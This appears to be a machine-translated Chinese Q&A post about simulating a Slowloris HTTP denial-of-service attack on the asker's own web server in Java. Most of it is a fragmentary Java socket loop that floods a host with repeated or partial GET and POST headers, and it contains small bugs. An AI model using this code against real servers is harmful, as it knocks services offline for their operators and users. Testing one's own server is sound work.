Java - 模拟Slowloris HTTP DoS攻击

Java - 模拟Slowloris HTTP DoS攻击

问题描述:

我需要编写java代码测试,以模拟我的Web服务器上的Slowloris HTTP DoS攻击。 我发现了一个perl代码,可以这么做:http://ha.ckers.org/slowloris/Java - 模拟Slowloris HTTP DoS攻击

我的环境不是恒定的,这意味着我无法保证在机器上安装了活动perl。 是否有另一种方法来做到这一点? 有没有一种方法可以使用jerl(https://code.google.com/p/jerl/)来做到没有主动perl安装(也许我可以将所需的*添加到我的java项目?)?

switch (dosMethod) { 
     case GET: 
      while(!StopWorking) 
      { 
       for(int i=0;i<per_Thread;i++) 
       { 
        if(socks[i].isConnected()) 
        { 
        try 
        { 
         PrintWriter pw = new PrintWriter(socks[i].getOutputStream()); 
         pw.println("GET/HTTP/1.1"); 
         pw.println("Host: " + hp.getHostText()); 
         pw.println(); 
         pw.flush(); 
        } 
        catch (Exception e){} 
        } 
        else 
        { 
         try { 
          socks[i] = new Socket(InetAddress.getByName(hp.getHostText()), hp.getPort()); 
         } catch (IOException e) { 
          e.printStackTrace(); 
         } 
        } 
       } 
      } 
      break; 
     case POST: 
      for(int i=0;i<per_Thread;i++) 
      { 
       try { 
        socks[i].close(); 
       } catch (IOException e) { 
        e.printStackTrace(); 
       } 
      } 
      while(!StopWorking) 
      { 
       for(int i=0;i<per_Thread;i++) 
       { 
        if(socks[i].isConnected()) 
        { 
         try { 
          PrintWriter pw = new PrintWriter(socks[i].getOutputStream()); 
          pw.println(); 
         } catch (IOException e) { 
          e.printStackTrace(); 
         } 
        } 
        else 
        { 
         try { 
          socks[i] = new Socket(InetAddress.getByName(hp.getHostText()), hp.getPort()); 
          PrintWriter pw = new PrintWriter(socks[i].getOutputStream()); 
          pw.println("POST/HTTP/1.1"); 
          pw.println("User-Agent: %s"); 
          pw.println("Connection: keep-alive"); 
          pw.println("Keep-Alive: 900"); 
          pw.println("Content-Length: 10000"); 
          pw.println("Content-Type: application/x-www-form-urlencoded"); 
          pw.println(); 
          pw.flush(); 
         } catch (IOException e) { 
          e.printStackTrace(); 
         } 
        } 
       } 
      } 
      break; 
    } 

其中袜子是(套接字的数组插座[]袜子=新的Socket [connsperthread];